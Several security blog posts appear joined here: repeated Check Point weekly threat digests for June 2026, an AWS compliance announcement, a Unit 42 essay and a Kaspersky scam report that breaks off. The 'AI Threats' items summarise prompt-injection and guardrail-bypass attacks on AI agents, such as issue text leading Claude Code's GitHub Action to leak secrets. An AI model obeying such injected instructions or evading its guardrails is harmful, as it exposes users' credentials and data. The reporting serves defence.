Citrix has addressed CVE-2026-8451, a NetScaler ADC and NetScaler Gateway memory disclosure flaw affecting SAML Identity Provider configurations. Active exploitation was observed less than 24 hours after disclosure, with attacks able to leak session tokens from vulnerable appliances.
Check Point IPS provides protection against this threat (Citrix NetScaler Out Of Bounds Read (CVE-2026-8451))
Progress has addressed CVE-2026-8037, a critical OS command injection flaw in Kemp LoadMaster load balancers with a CVSS score of 9.6. Exploitation attempts began on June 29 and could allow unauthenticated remote code execution against vulnerable systems.
Check Point IPS provides protection against this threat (Progress Kemp LoadMaster Commad Injection (CVE-2024-1212, CVE-2026-8037))
THREAT INTELLIGENCE REPORTS
Researchers elaborated on a North Korea-aligned supply-chain campaign dubbed PolinRider, which published 108 malicious packages and a Chrome extension across open-source registries. The attackers abused VS Code auto-run tasks and hidden JavaScript loaders to fetch second-stage malware and deploy DEV#POPPER and OmniStealer.
Researchers observed a partnership between the Vect ransomware group and TeamPCP, a supply chain credential-theft gang, that industrializes ransomware delivery. At least one Vect attack using TeamPCP-sourced credentials was confirmed.
Researchers detected the ChocoPoC campaign, which weaponizes fake proof-of-concept exploits on GitHub and PyPI to infect vulnerability researchers with a Python RAT. The malware hides commands on Mapbox datasets and steals files and browser data while executing attacker commands.
Researchers analyzed 3,000 live ClickFix payloads and found rotating wrappers, custom command generation, and a Downloads-folder technique designed to bypass AMSI protections. The research shows how ClickFix has evolved from simple social engineering into an API-driven malware delivery ecosystem.
For the latest discoveries in cyber research for the week of 22nd June, please download our Threat Intelligence Bulletin.TOP ATTACKS AND BREACHES
Texas Parks and Wildlife Department has been affected by a third-party data breach involving its license system vendor. The incident exposed driver’s license information, passport numbers, emails, phone numbers, and residential addresses for 3,087,721 hunting and fishing license customers. Social Security numbers and payment data were not affected.
ShapedPlugin, a WordPress plugin vendor, has faced a supply chain attack that delivered malicious updates for three paid plugins through its official updater. The malware installed a hidden fake WooCommerce plugin to steal admin, database, and 2FA credentials and modify affected websites. Incident analysis tied the compromise to vendor release infrastructure.
iRhythm Technologies, a US digital health company focused on remote cardiac monitoring, has experienced a cyberattack involving third-party-hosted business applications. The company confirmed that attackers stole protected health information, proprietary data, and other personal data through a social engineering attack. Clinical systems were not affected.
Market intelligence platform Klue has confirmed a breach after attackers used compromised legacy integration credentials to steal OAuth tokens connected to customer Salesforce environments. The tokens enabled theft of sales and customer data from several clients, including Huntress, Recorded Future, Tanium, and Jamf. The Icarus extortion group claimed responsibility.
AI THREATS
Researchers have detailed EvilTokens, an AI-powered phishing-as-a-service operation abusing device-code authentication to steal Microsoft 365 tokens. Huntress observed a 1,380% surge in device-code phishing in early 2026, with AI-generated lures and automated workflows lowering attacker effort.
Researchers have crafted a fake AI skill that hijacked more than 26,000 AI agents by abusing trusted marketplaces and Instagram ads in a supply chain attack. The package initially appeared clean, then used attacker-controlled external instructions after approval to trigger data exfiltration across agent platforms.
LayerX researchers have demonstrated BioShocking AI, a technique that tricks agentic browsers into bypassing their guardrails. Test cases against ChatGPT Atlas, Perplexity Comet, Claude in Chrome, and other AI browsers showed how game-like prompts could expose credentials and user data.
VULNERABILITIES AND PATCHES
Cisco has addressed CVE-2026-20245, a high-severity command injection flaw in Catalyst SD-WAN Manager that attackers exploited as a zero-day for months. The flaw allows an administrator to run root commands through a crafted file, affecting on-premises and Cisco-managed cloud deployments.
Dify has released version 1.14.2 to fix four vulnerabilities in its open-source AI platform, including critical CVE-2026-41947 and CVE-2026-41948. The flaws could allow unauthenticated access and cross-tenant data exposure, including chat content and uploaded files.
Ubiquiti UniFi OS is affected by three flaws, CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910, which are reportedly being exploited against network appliances. The vulnerabilities allow unauthorized changes, file access, and command execution, with exploitation observed in Mirai botnet activity.
Check Point IPS provides protection against these threats (Ubiquiti UniFi OS Privilege Escalation (CVE-2026-34908), Ubiquiti UniFi OS Directory Traversal (CVE-2026-34909),Ubiquiti UniFi OS Command Injection (CVE-2026-34910))
Langflow, an open-source AI workflow tool, is reportedly being targeted through exploitation of CVE-2026-55255, alongside ongoing mass exploitation of CVE-2026-33017. Attackers enumerated flow IDs to run victim pipelines and extract embedded API keys, while remote code execution enabled malware deployment and cloud credential theft.
Check Point IPS provides protection against this threat (Langflow Remote Code Execution (CVE-2026-33017))
THREAT INTELLIGENCE REPORTS
Researchers have uncovered the FortiBleed campaign, which converts compromised FortiGate firewalls into passive credential stealers across 24 protocols. The operation targeted more than 430,000 devices worldwide and siphoned more than 110 million credentials.
Researchers have attributed the StockStay espionage malware to Russia-linked Turla and described targeting of Ukrainian government and defense organizations. The malware evolved from a fake stock app to PDF reader and calculator lookalikes, delivered through phishing with malicious remote desktop configuration files.
Researchers have revealed that the Chinese DCloud Uni-App framework powers at least 236,493 scam domains since 2022, including fake crypto exchanges, wallet drainers, WhatsApp phishing, and gambling schemes. Technical fingerprints suggest centralized operators, likely China-based, supporting a broad fraud ecosystem.
Researchers have analyzed the FulcrumSec cloud extortion group targeting cloud-native organizations. The group exploits exposed credentials, unpatched applications, and misconfigured storage, then uses broad permissions to move across environments, collect data for months, and exfiltrate it using legitimate tools.
For the latest discoveries in cyber research for the week of 29th June, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Polymarket, a large cryptocurrency-based prediction market, has confirmed a supply chain attack after a third-party frontend vendor breach led to malicious JavaScript being injected into its website. Attackers tricked users into approving fraudulent transactions, stealing about $3 million from fewer than 15 accounts, while the backend remained unaffected.
KDDI, a Japanese telecom operator, has reported a breach of its ISP email platform after detecting an intrusion on June 17. Up to 14.22 million email addresses and passwords may have been compromised across services from six ISPs, including J:COM and Biglobe.
Indian electronics and semiconductor manufacturer Tata Electronics, a supplier to Apple and Tesla, has suffered a cyberattack and data breach. The company said IT systems were affected, while the World Leaks group claimed 630GB of data, including alleged supplier and customer documents.
Brazil’s National Civil Defense warning platform, managed by telecom regulator Anatel, has faced a cyberattack that sent a fake “Extreme Alert” to phones across several regions. Officials took the system offline after the message reached users in Paraná, São Paulo, and Rio de Janeiro.
The National Association of Insurance Commissioners, a US insurance regulatory standards body, has confirmed a cyberattack after ShinyHunters claimed theft of 3.1TB of data through an Oracle PeopleSoft zero-day. The group claimed access to regulatory filings, production logs, cloud configuration files, and other internal records.
AI THREATS
Researchers have detailed EvilTokens, an AI-powered phishing-as-a-service operation abusing device-code authentication to steal Microsoft 365 tokens. Huntress observed a 1,380% surge in device-code phishing in early 2026, with AI-generated lures and automated workflows lowering attacker effort.
Researchers have crafted a fake AI skill that hijacked more than 26,000 AI agents by abusing trusted marketplaces and Instagram ads in a supply chain attack. The package initially appeared clean, then used attacker-controlled external instructions after approval to trigger data exfiltration across agent platforms.
LayerX researchers have demonstrated BioShocking AI, a technique that tricks agentic browsers into bypassing their guardrails. Test cases against ChatGPT Atlas, Perplexity Comet, Claude in Chrome, and other AI browsers showed how game-like prompts could expose credentials and user data.
VULNERABILITIES AND PATCHES
Cisco has addressed CVE-2026-20245, a high-severity command injection flaw in Catalyst SD-WAN Manager that attackers exploited as a zero-day for months. The flaw allows an administrator to run root commands through a crafted file, affecting on-premises and Cisco-managed cloud deployments.
Dify has released version 1.14.2 to fix four vulnerabilities in its open-source AI platform, including critical CVE-2026-41947 and CVE-2026-41948. The flaws could allow unauthenticated access and cross-tenant data exposure, including chat content and uploaded files.
Ubiquiti UniFi OS is affected by three flaws, CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910, which are reportedly being exploited against network appliances. The vulnerabilities allow unauthorized changes, file access, and command execution, with exploitation observed in Mirai botnet activity.
Check Point IPS provides protection against these threats (Ubiquiti UniFi OS Privilege Escalation (CVE-2026-34908), Ubiquiti UniFi OS Directory Traversal (CVE-2026-34909),Ubiquiti UniFi OS Command Injection (CVE-2026-34910))
Langflow, an open-source AI workflow tool, is reportedly being targeted through exploitation of CVE-2026-55255, alongside ongoing mass exploitation of CVE-2026-33017. Attackers enumerated flow IDs to run victim pipelines and extract embedded API keys, while remote code execution enabled malware deployment and cloud credential theft.
Check Point IPS provides protection against this threat (Langflow Remote Code Execution (CVE-2026-33017))
THREAT INTELLIGENCE REPORTS
Researchers have uncovered the FortiBleed campaign, which converts compromised FortiGate firewalls into passive credential stealers across 24 protocols. The operation targeted more than 430,000 devices worldwide and siphoned more than 110 million credentials.
Researchers have attributed the StockStay espionage malware to Russia-linked Turla and described targeting of Ukrainian government and defense organizations. The malware evolved from a fake stock app to PDF reader and calculator lookalikes, delivered through phishing with malicious remote desktop configuration files.
Researchers have revealed that the Chinese DCloud Uni-App framework powers at least 236,493 scam domains since 2022, including fake crypto exchanges, wallet drainers, WhatsApp phishing, and gambling schemes. Technical fingerprints suggest centralized operators, likely China-based, supporting a broad fraud ecosystem.
Researchers have analyzed the FulcrumSec cloud extortion group targeting cloud-native organizations. The group exploits exposed credentials, unpatched applications, and misconfigured storage, then uses broad permissions to move across environments, collect data for months, and exfiltrate it using legitimate tools.
Amazon Web Services (AWS) is excited to release the Spring 2026 System and Organization Controls (SOC) 1 and 2 reports in machine-readable OSCAL format alongside the PDF version of the reports. The reports cover 188 services over the 12-month period from April 1, 2025 to March 31, 2026, giving customers a full year of assurance. These reports demonstrate our continuous commitment to adhering to the heightened expectations of cloud service providers.
AWS is the first major cloud provider to offer key compliance reports to customers in the National Institute of Standards and Technology’s (NIST) Open Security Controls Assessment Language (OSCAL), as of June 2026. OSCAL is an open source, machine-readable (JSON) format for security information. The SOC 1 and SOC 2 report package in OSCAL format is now available as a distinct package in AWS Artifact, marking a milestone toward open, standards-based compliance automation. This machine-readable version of the SOC report package enables workflow automation to reduce manual processing time and modernize security and compliance processes. Your use cases for this content are innovative, and we want to hear about them through the contact information found in the OSCAL report package.
AWS strives to continuously bring services into the scope of its compliance programs to help customers meet their architectural and regulatory needs. You can view the current list of services in scope on our Services in Scope page. As an AWS customer, you can reach out to your AWS account team if you have any questions or feedback about SOC compliance.
For the latest discoveries in cyber research for the week of 15th June, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
The University of Nottingham, a UK research university, has suffered a data breach after ShinyHunters accessed its student records system. The incident affected about 454,600 current and former students and exposed contact details, passport numbers, enrollment information, and fee payment records later appeared online. According to analysts, this breach is part of a larger wave of attacks targeting more than 100 organizations by ShinyHunters, exploiting CVE-2026-35273, a critical zero-day vulnerability in Oracle PeopleSoft that allows remote code execution.
Check Point IPS provides protection against this threat (Oracle PeopleSoft Enterprise PeopleTools Server-Side Request Forgery (CVE-2026-35273))
Mackay Sugar, Australia’s second-largest sugar producer, has been hit by a cyberattack that disrupted operations and shut down its Farleigh and Racecourse mills in Queensland. The company instructed growers to stop harvesting and suspended cane haulage while temporary measures were deployed to maintain essential operations.
Danish pharmaceutical giant Novo Nordisk has disclosed a breach after attackers accessed internal IT systems and copied pseudonymized clinical trial data from research systems. The exposed information included patient IDs, trial participation details, limited health data, and some healthcare professionals’ contact information.
AI THREATS
Check Point Research has demonstrated exploitable flaws in LangGraph, an open-source framework for stateful AI agents. Researchers chained SQL injection and unsafe deserialization issues to achieve remote code execution, with patches issued for SQLite, core, and Redis checkpointer components in affected deployments.
Check Point IPS provides protection against this threat (LangChain LangGraph SQL Injection (CVE-2026-27022))
Researchers highlighted a China-based phishing-as-a-service network, Outsider, that allegedly used Gemini to generate fake websites and support SMS phishing campaigns. Google filed a lawsuit after linking the operation to thousands of phishing sites, more than 1.5 million URLs, and large-scale victim targeting.
Researchers warned that prompt-injection attacks against Anthropic’s Claude Code GitHub Action could leak CI/CD workflow secrets. Malicious issue or pull request text can instruct the agent to read environment variables and expose API keys, enabling workflow abuse and impersonation inside software repositories.
VULNERABILITIES AND PATCHES
Check Point Research has identified active exploitation of CVE-2026-50751, a critical authentication bypass vulnerability affecting Check Point Remote Access VPN and Mobile Access deployments configured to use the deprecated IKEv1 key exchange protocol. Attacks began in May and increased in early June, affecting a limited number of organizations, with one case tied to Qilin ransomware activity.
Check Point IPS provides protection against this threat (IKEv1 Remote Access Authentication Bypass PoC Exploit (CVE-2026-50751))
Microsoft released its largest Patch Tuesday update to date, addressing more than 200 Windows and Defender vulnerabilities amid an AI-driven surge in vulnerability discovery. The fixes include CVE-2026-45657, a critical Windows flaw with a CVSS score of 9.8 that could enable network-based propagation, CVE-2026-41091, which has been actively exploited to gain full system control, and CVE-2026-50507, a BitLocker bypass vulnerability.
Veeam has released security updates to fix a critical flaw affecting Backup & Replication. The vulnerability allows an authenticated domain user to execute code remotely on a domain-joined backup server, exposing sensitive backup infrastructure and recovery systems.
THREAT INTELLIGENCE REPORTS
Check Point Research’s May 2026 attack trends report found that organizations experienced an average of 2,055 weekly attacks, down 7% month over month, while ransomware incidents increased 48% year over year. The report also highlights continued GenAI exposure across enterprise environments, including risks linked to business-related prompts.
Researchers detected a supply-chain compromise in the Arch User Repository, where attackers seized hundreds of packages and modified build scripts to install credential-stealing malware. The campaign deployed malicious dependencies, a Rust stealer, and, with administrative privileges, an eBPF rootkit on Linux systems.
Researchers analyzed a Brazilian phishing campaign abusing the legitimate NinjaOne remote management agent to gain access to company computers. The campaign uses fake Portuguese business portals and phone-based social engineering to install a signed agent connected to attacker-controlled infrastructure on victim endpoints
Researchers described ongoing exploitation of WinRAR flaw CVE-2025-8088 by Russia-linked groups targeting Ukrainian military and government organizations. Spear-phishing archives plant hidden files that run at login and deploy stealers for browser passwords, cookies, VPN configurations, and other credentials across affected Windows systems.
For the latest discoveries in cyber research for the week of 8th June, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
DentaQuest, a U.S. dental benefits administrator owned by Sun Life, has suffered a data breach after threat group ShinyHunters leaked exfiltrated data. Analysts assessed that 2.6 million accounts were exposed, including names, emails, government IDs, and health insurance details.
Password manager Dashlane has disclosed an attack in which threat actors brute-forced two-factor codes to register unauthorized devices and download encrypted password vaults for less than 20 users. The campaign began May 31 and was contained after lockouts.
The United Nations World Food Programme has disclosed unauthorized access to its Gaza self-registration application, exposing names, identification numbers, mobile numbers, and location data. The breach affected about 600,000 Palestinian households across Gaza, and WFP suspended the platform while responding to the incident.
Russia’s Federal Security Service claims that foreign intelligence agencies hacked mobile devices belonging to senior Russian officials. The alleged spyware operation enabled access to correspondence, calls, geolocation data, contact lists, and covert audio and video surveillance.
Hola, whose Windows browser serves millions of users, has confirmed a supply chain compromise that pushed an unauthorized executable to some users. The file operated as a cryptominer, installed as a Windows service, and excluded itself from Defender. An independent review found impact limited to about 0.1% of users.
AI THREATS
Check Point highlighted an AI security risk after reports that attackers used Meta’s AI support chatbot to seize Instagram accounts. Granting AI agents account recovery authority to change emails or approve requests without identity checks can enable unauthorized access, showing that permissions and verification shape the risk.
Researchers demonstrated a notification-based prompt injection technique called Fake Context Alignment that manipulated Google’s Gemini voice assistant through incoming messages. The attack hid authorization prompts and enabled device control, auto-joining Zoom video calls, and cross-device memory poisoning. Google deployed classifier updates after disclosure.
Researchers described an AI-enabled EDR evasion lab where a threat actor automates malware development and testing against Sophos, CrowdStrike, and Microsoft Defender. LLM-driven agents and an automated Active Directory panel coordinate iterative trials, supporting stealthy post-exploitation tied to ransomware deployment and data theft.
VULNERABILITIES AND PATCHES
Google has released its June Android security patch for 124 vulnerabilities, including CVE-2025-48595, a high-severity Android Framework flaw under exploitation. Local attackers can use the vulnerability to gain code execution and escalate privileges on devices running Android 14 or later.
Cisco has released patches for CVE-2026-20230, a critical Unified Communications Manager and Session Management Edition flaw that allows unauthenticated network attackers to write files and escalate to root. A public proof-of-concept was already published. The bug requires WebDialer enabled, and fixes include 14SU6 and an interim 15.x COP.
SolarWinds Serv-U CVE-2026-28318 has been exploited in attacks against file transfer servers. The unauthenticated flaw lets crafted HTTP POST requests using a deflate header crash the service and disrupt operations. SolarWinds fixed the vulnerability in Serv-U 15.5.4 HF1.
CVE-2026-41089 in Microsoft Windows Netlogon is being exploited in attacks against Windows Server domain controllers. The critical stack-based buffer overflow flaw can allow remote code execution through crafted network requests. Successful exploitation may give attackers SYSTEM-level control of domain controllers in vulnerable Active Directory environments.
Check Point IPS provides protection against this threat (Microsoft Windows Netlogon Remote Code Execution (CVE-2026-41089))
THREAT INTELLIGENCE REPORTS
Check Point Research has investigated a large-scale impersonation and click-hijacking scheme that reroutes downloads from fake open-source sites through a gated traffic distribution system. Impersonating tools like Ghidra and dnSpy, it led to infection by RemusStealer, AnimateClipper, and a new loader called SessionGate.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat
Check Point Research linked a Dutch seizure of about 800 servers at hosting provider WorkTitans B.V. to Iranian cyber espionage operations. MuddyWater, Agrius, and Nimbus Manticore used this infrastructure for attacks that enabled remote access, credential theft, and scanning.
Check Point researchers have surveyed the 2026 U.S. midterm threat landscape, finding that operations focus on phishing, brand impersonation, and domain abuse rather than ballot tampering. Russian-linked Doppelganger networks cloned major media sites, vote-related domains increased, and exposed ActBlue and WinRed credentials surfaced.
Researchers identified a months-long espionage campaign that covertly siphoned a senior executive’s Microsoft Outlook mailbox at a major global stock exchange. Attackers used legitimate cloud storage services and disguised update tasks to persist and move data in small batches, enabling five months of undetected access.
The Future of Threat Defense Resides at the IP Layer
For years, network security operated on a relatively predictable premise: inspect traffic, identify malicious content, and block it. Because deep content inspection created a seemingly robust defense in depth, relatively static legacy approaches—like reliance on threat intelligence feeds—were allowed to simply persist in the background.
The weaponization of agentic AI and highly evasive techniques has fundamentally shattered that model. Attackers are no longer just iterating on old threats. They are launching attacks at staggering velocity, completely outpacing threat feeds, and employing evasion tactics that actively starve legacy prevention solutions of the content they rely on to inspect.
Our new research report from Unit 42, Attackers Are Evading Threat Prevention at the Internet Edge, reveals how adversaries are actively exploiting the contextual vacuum at the IP layer to bypass standard security controls. For security leaders, understanding this shift is no longer optional. As the nature of the threat fundamentally changes, our strategic approach to network security must definitively change with it.
The AI-Accelerated, Evasive Attack Lifecycle
To understand why legacy defenses are failing, we must look at how adversaries are accelerating and obfuscating every stage of the attack lifecycle. As these threats progress, the commonly used network indicators we have long relied upon are vanishing, collapsing traditional defenses and leaving defenders with little to act on.
Powered by frontier AI, adversaries now automate reconnaissance and exploitation at huge scale and speed, while using anonymizers to mask their intent. Once an intrusion is launched, orchestration shifts to highly evasive command and control (C2). Attackers hide communications using advanced encryption and AI-built malware-less techniques. They’re also bypassing traditional web and DNS inspection entirely by routing traffic directly to IP addresses—a tactic Unit 42 found in 23% of modern malware
Ultimately, the takeaway is clear: network threat prevention can no longer rely solely on detecting malicious payloads. As AI-driven attacks continue to minimize their footprint, security strategies must augment content inspection with real-time IP layer monitoring to left-shift threat detection and counter these rapid, machine-speed threats at the network foundation.
Existing Approaches Aren’t Working
Where content-based detection falls short, many security vendors and organizations still rely on IP threat intelligence feeds to pick up the slack in an attempt to filter out malicious connections on the network layer. However, after years of operating under this model, the results are in—the traditional feed is showing its age.
Attackers have long relied on proxies, anonymizers, residential routers and public cloud providers as a tactic to evade detection. However, agentic AI morphs this process, enabling rapid infrastructure rotation and stealth at an unprecedented scale. As this autonomous evasion accelerates, experienced network defenders continue to run into the well-known limitations of classic IP blocklists:
Too slow to keep pace: Unit 42 found an average 20-day lag time before new threats hit popular feeds. Because agentic AI enables adversaries to autonomously rotate proxy IPs in hours, these lists are obsolete at the moment of delivery.
Fundamentally incomplete: IP feeds are unable to see a massive portion of the modern attack surface. Unit 42 research indicates that 52% of malicious IPs used for direct-to-IP connections are completely absent from these lists.
Unactionable on shared infrastructure: Even known threats are often impossible to block. The Unit 42 team reports that 37% of direct-to-IP traffic uses reputable CDNs and cloud providers. IP feeds cannot distinguish malicious connections from legitimate ones, making blocking too risky for business continuity.
A management nightmare: Among the security teams that Unit 42 polled, 30% indicate resource-intensive vetting and false-positive triage as their top pain point. To avoid breaking legitimate traffic, feeds are frequently relegated to an alert-only mode, defeating the entire purpose of prevention.
If modern and agentic AI-enabled attacks can outrun traditional network payload-based detections, we need a new weapon in the network defender’s arsenal. We can no longer depend on yesterday’s IP feeds to secure such an extremely agile threat environment.
The Blueprint for Modernizing the Internet Edge
To outpace the impact of agentic AI and advanced evasion on network threat prevention, security leaders must redefine their defense strategy and shift-left to track the attacker infrastructure itself—monitoring the exact IP layer locations where adversaries build and control their campaigns. Deep content inspection remains essential, but securing the modern edge requires establishing the context and intent of a connection before a session is established.
To achieve this goal, organizations must move beyond the limitations of static defense and adopt a modern security blueprint:
Proactive protection against attacker infrastructure: While high-quality threat feeds remain essential for SOC investigations and incident response, relying on them for frontline, real-time prevention creates major blind spots. Instead, security teams must use real-world, global telemetry to proactively identify and block connections to attacker-controlled hosts before requesting a URL or file.
Zero trust principles applied to the network layer: An IP address without a negative reputation does not equal a safe connection. Continuous verification requires extending zero trust down to the network foundation. It validates the real-time behavior and intent of every single session to ensure attackers cannot hide in the contextual vacuum of the IP layer.
Reducing the attack surface with rich contextual attributes: Traditional IP blocking is like a blunt instrument that creates unacceptable false positives and alert fatigue. To modernize the edge, security teams need deep, attribute-based visibility across the entire Internet address space to reduce noise and replace legacy IP feeds entirely.
By moving away from point-in-time assumptions and embracing real-time, inline protection, security leaders can reclaim the advantage at the network foundation.
To see how these evasion tactics operate in the wild, read the latest Unit 42 report, Attackers Are Evading Threat Prevention at the Internet Edge. You’ll find this report valuable in understanding the systemic gaps in legacy risk models and learning why continuous verification must be our new mandate.
For the latest discoveries in cyber research for the week of 1st June, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Carnival Corporation, a global cruise line operator, has confirmed a data breach affecting nearly 6 million people after attackers used social engineering to compromise an employee account. Exposed information may include names, contact details, dates of birth, and government identification numbers.
Charter Communications, a US telecommunications provider operating under the Spectrum brand, has suffered a data breach by ShinyHunters group. Analysts report that 4.9 million email addresses were exposed, with names, phone numbers, physical addresses, and a subset of employee directory records.
Lithuania’s Centre of Registers, the state agency responsible for property and legal entity records, has disclosed a data breach affecting more than 600,000 records. Attackers reportedly misused institutional login credentials to access names, dates of birth, national identification numbers, and property-related data.
Station Casinos, a major Las Vegas casino operator owned by Red Rock Resorts, has disclosed a breach after an unauthorized third party accessed a single employee account and associated files. The company began notifying affected individuals on May 21 and said business operations were not affected.
AI THREATS
Researchers profiled GREYVIBE, a Russia-aligned group using ChatGPT and Google Gemini to accelerate phishing, malware development, and post-compromise activity against Ukrainian targets. The campaign uses spear-phishing, fake CAPTCHA pages, and decoy websites to deliver PhantomRelay on Windows and FallSpy on Android.
Researchers unveiled an AI-driven influence and fraud campaign run by a Russian-speaking actor behind a MAGA-themed Telegram channel with 17,000 subscribers. The operator bypassed Gemini safeguards to automate propaganda and credential theft, used stolen API keys, cracked WordPress accounts, and drained a crypto wallet.
Researchers identified an AI-generated malicious npm package, mouse5212-super-formatter, that steals developers’ files by scanning a local directory and uploading data to a GitHub repository using a hardcoded private token. The package recorded at least seven exfiltration events and 676 downloads.
VULNERABILITIES AND PATCHES
Check Point announced a Jumbo Security Release based on large-scale AI-driven code scanning across the products. The release addresses vulnerabilities in Check Point security gateways, including CVE-2026-48131 and CVE-2026-48132. The vulnerabilities were not exploited in the wild.
Check Point IPS provides protection against these threats (IKE Unsigned Underflow (CVE-2026-48131), IKE Improper Length Validation (CVE-2026-48132))
CVE-2026-0257, a PAN-OS GlobalProtect authentication bypass which was fixed earlier this month, is now being exploited against unpatched Palo Alto Networks devices. Attackers are using forged authentication override cookies to create unauthorized VPN sessions, potentially giving them access to internal networks. CISA added the flaw to its Known Exploited Vulnerabilities catalog on May 29.
A critical remote code execution flaw has been disclosed in Gogs, a popular open-source self-hosted Git service, with a CVSS score of 9.4 and no patch available. An authenticated user can abuse rebase merging to execute commands, risking repository access and cross-tenant data exposure. The vulnerability remains unpatched by the developer for more than two months.
Check Point IPS provides protection against this threat (Gogs Remote Code Execution)
Ghost CMS vulnerability CVE-2026-26980 is actively being exploited in attacks that use SQL injection to steal Admin API keys and alter website pages. At least two groups have targeted more than 700 sites using fake Cloudflare checks to deliver data-stealing malware.
Check Point IPS provides protection against this threat (Ghost SQL Injection (CVE-2026-26980))
THREAT INTELLIGENCE REPORTS
Researchers attributed a destructive campaign against LA Metro to an Iran-linked intelligence operation using the Ababil of Minab persona. LA Metro confirmed an intrusion involving wiped servers, and analysts linked additional transit and technology attacks to Black Shadow infrastructure.
Researchers observed renewed Grandoreiro banking malware campaigns targeting Portuguese banks and organizations across Spain, Mexico, and Latin America. The attacks begin with phishing and using DLL side-loading or malicious scripts, then abuse cloud services to hide traffic while stealing credentials and displaying fake banking overlays.
Researchers uncovered GHOST STADIUM, a fraud network cloning FIFA-related websites across more than 300 active domains ahead of the 2026 World Cup. The operation steals login credentials and payment data, locks fans out of accounts, and is promoted through Facebook ads.
Researchers exposed JINX-0164, a financially motivated group targeting cryptocurrency organizations through recruiter-themed social engineering and macOS malware, including AUDIOFIX and MINIRAT. The campaigns moved from compromised developer laptops into code repositories and build systems, creating supply chain compromise risk.
It starts with the familiar: a short message, a trusted name, a routine tone. Delivery updates, work pings, brand alerts hum in the background, rarely attracting scrutiny. You check, you answer… — until minutes later you’ve slipped into a trap built to lower your guard and hijack your trust.
That’s why messaging scams cut deep: they exploit everyday habits where instinct, not caution, leads. Communication once moved slowly, leaving room for doubt. Now it’s instant — and that speed is a weapon in criminal hands.
On our blog, we’ve already examined numerous scam schemes in messaging apps — from pig butchering, where the victim is groomed for a very long time, or catfishing, where the scammer creates a fake identity, to phishing via chatbots or through gift-giving campaigns in messaging apps.
Now, for the first time, Kaspersky has set out to capture the full end-to-end reality of messaging-based scams to understand how quickly harm occurs, how they impact trust and what remains after the interaction ends. What emerges is a highly organized and industrialized scam ecosystem embedded within everyday messaging channels such as SMS, WhatsApp, and email.
Kaspersky experts have prepared a report on targeted scams in messaging apps, detailing not only the financial but also the emotional damage caused by such attacks, as well as providing tips on how to protect yourself and avoid them. In this post, we explore the most interesting facts, but you can find more details in the full report.
The damage is underestimated
How much do you think a single successful attack via a messaging app costs the average victim? Ten dollars? Or maybe 50? You’re underestimating the scammers. Although more than a third (36%) of victims incur losses of less than $135, on average a victim loses… $733!
Country
Average loss per victim
Senegal
$392.94
Serbia
$493.32
Morocco
$504.28
Greece
$609.32
United Kingdom
$617.38
Côte d’Ivoire
$654.11
Spain
$672.67
United States
$724.73
Portugal
$868.20
Italy
$896.02
France
$1,193.58
Germany
$1,369.35
The average amount lost by a victim in a successful attack via a messaging app
On the one hand, the financial hit doesn’t look catastrophic in isolation. These are micro-losses by design. Small enough that some never report them to the police. Small enough that banks don’t always investigate. Small enough to be dismissed as bad luck rather than organized crime.
But $733 is not nothing. It’s enough to cover a month’s worth of groceries, school or daycare fees, or utility bills. Against the backdrop of the global cost-of-living crisis, a single such loss can seriously dent a family’s budget.
In 11% of cases, losses exceed $1,350, and more than a quarter of victims (28%) report having been scammed three or more times in the past six months. Once scammers discover that a phone number responds, that contact becomes an asset, circulating from one database to another.
Now imagine the scale of the problem: if just 10% of the three billion messaging‑app users worldwide fell victim with the average loss, the total damage would amount to… nearly $220 billion! This is comparable to the GDP of Greece, and exceeds that of Morocco, Serbia, or Côte d’Ivoire.
It becomes clear that behind the daily flood of fraudulent schemes lie large scam cartels operating on an industrial scale, using AI to personalize messages that mimic those of family members, friends, and familiar brands. This, in essence, forms the basis of a full-fledged economy built on digital identity theft.
Speed beats scrutiny
More than half of successful messaging scams (52%) unfold in under 30 minutes — from first contact to the moment money or personal data changes hands — or even faster, before the victim begins to doubt the legitimacy of the sender. In fact, one in seven scams takes less than five minutes — quicker than boiling an egg!
The speed isn’t accidental. It’s the method. Scammers structure their schemes to deny the victim a chance to come to their senses. Every element is engineered to compress the decision-making window: the urgency of the scenario, the familiarity of the format, the plausibility of the request.
They rush you — faster, faster, don’t tell anyone, you only have a few minutes, solve the problem, don’t ask questions. Click the link, fill in the details, approve the transaction, or else… Or else what? The scammers’ imagination knows no bounds here, but if you don’t do something right now, you’ll definitely regret it.
Alas, the realization of what has happened usually comes when the damage is already irreversible. More than half of victims (51%) lose money; another 43% hand over their personal data — most commonly phone numbers, names, and email addresses — to scammers, and often the victim loses both.
Where and how attacks occur
A delivery notification, a bank alert, a message from a merchant you ordered from last week — messaging apps permeate every aspect of everyday life, making such interactions completely normal. An attack shouldn’t feel like an attack. It should feel like the same message you’ve received hundreds of times.
It’s no surprise that scammers focus their attention on this method of communication first and foremost. The most popular platforms for scams are predictable: WhatsApp (43%), SMS/iMessage (40%), Facebook (27%), Telegram (22%), and Instagram (19%) — these are the ones that people trust most.
A wide variety of schemes is used. Brand impersonation is now one of the three most common types of messaging scam worldwide — accounting for 31% of cases. Fake delivery notifications top the list at 38%, followed by investment scams at 37%.
At the same time, nearly two-thirds (63%) of fraudulent schemes span multiple platforms, moving from SMS to WhatsApp, from WhatsApp to Telegram, etc. In this way, scammers achieve two goals: they mimic organic messaging and evade moderation algorithms.
AI has taken scams to a new level
Just a couple of years ago, fraudulent messages gave themselves away with bad grammar, awkward phrasing, illogical requests, and an obsessive sense of urgency. Today, a phishing message looks, sounds, and reads just like the real thing.
Scam cartels want to catch people in motion — between meetings, on a commute, or during everyday tasks — when your attention is already fragmented. They mimic your mother’s turn of phrase. They match your bank’s tone of voice. They copy your courier’s format exactly. They mirror the rhythm, structure, and style of authentic brand communications across messaging platforms. And AI is accelerating all of it.
What this creates is overlap. Legitimate and fraudulent messages appear in the same environment, using the same formats, language, and triggers. The difference between them is no longer obvious.
The data shows that two-thirds of victims (66%) believe AI was used in the scam against them, 42% cite messages written by AI, 31% report generated or cloned voices, and 25% encountered deepfake images or videos.
That’s why mere awareness and “tech-savviness” may no longer be enough to protect oneself. From Gen Z to Gen X, messaging scams cut across every generation.
And what about the emotional toll?
